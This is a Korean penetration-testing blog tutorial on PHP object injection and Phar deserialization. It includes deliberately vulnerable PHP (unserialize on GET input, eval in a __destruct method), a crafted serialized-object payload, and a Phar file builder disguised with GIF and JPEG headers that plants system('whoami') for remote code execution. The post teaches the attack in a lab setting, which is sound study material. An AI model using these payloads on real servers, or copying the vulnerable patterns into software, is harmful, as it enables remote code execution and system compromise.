WEB
PHP, Phar deserialization 역직렬화 취약점
모의해킹
2024. 8. 27. 10:39
공통점 : 두개 모두 직렬화 -> 역직렬화 시 발생하는 취약점이며, Magic Method를 사용할 때 발생한다.
Magic Method란
__로 시작하는 함수를 의미하며, 생성자, 소멸자인 __construct, __destruct도 해당된다.
1. PHP 역직렬화 취약점 (Object Injection)
1-1. object.php 생성
// object.php
<?php
class testB {
public $id = 'admin';
public function __destruct() {
echo 'user id: ' . $this->id . ' <br/>';
}
}
?>
1-2. index.php 생성 및 확인
// index.php
<?php
include 'object.php';
$obj = new testB();
unserialize($_GET['input']);
?>
1-3. 파일 역직렬화를 통해 admin을 변경
O:5:"testB":1:{s:2:"id";s:5:"Genie";}
해석
- O - Object
- 5 - Object name length
- testB - 클래스 또는 해당 객체 이름
- 1 - object size (예를 들어 입력되어야 할 값이 3개라면 3이 됨. )
- s - string
- 2 - string length
- id - string name. 여기서 id는 testB 클래스에 정의된 $id 변수
- s - string
- 5 - string length
- genie - string name. 여기서 pongchi는 임의 문자열 입력한 것임.
<주의> : 위 폼 양식에 하나라도 틀리면 제대로 동작하지 않음
2. Phar 역직렬화 취약점 (rce 공격)
1-1. File을 불러오는 PHP 코드입니다.
<?php
$filename=$_GET['path'];
class imgObject{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
1-2. PHP로 생성한 역직렬화 RCE 코드입니다.
<?php
class imgObject {
var $output = 'echo "ok";';
function __destruct() {
}
}
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
// imgObject 객체를 생성하고, 명령어를 설정
$object = new imgObject();
$object->output = 'system("whoami");';
// 객체를 Phar 메타데이터에 설정
$phar->setMetadata($object);
$phar->stopBuffering();
?>
1-3. php --define phar.readonly=0 test.php 명령어 사용하여, 개인 서버 내 phar 파일 생성하였습니다.
1-4. phar 파일 동작 시 whoami 명령어가 실행되어 apache 문구를 확인하였습니다.
추가 예시
<?php
class TEST {}
#phpinfo();
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
$object = new TEST('file:///var/www/html/admin.php');
$phar->setMetadata($object);
$phar->stopBuffering();
?>
해석
Hanwul님 블로그의 Deserialize Vulnerability 부분 확인
phar 역직렬화 취약점이 발생한 이유에 대해 자세한 설명되어 있으니 참고 바랍니다.
PHP 역직렬화 취약점
참고 : https://velog.io/@woounnan/WEB-PHP-Serialization
Phar 역직렬화 취약점
참고 : https://www.hahwul.com/2018/11/12/phar-php-deserialization-vulnerability/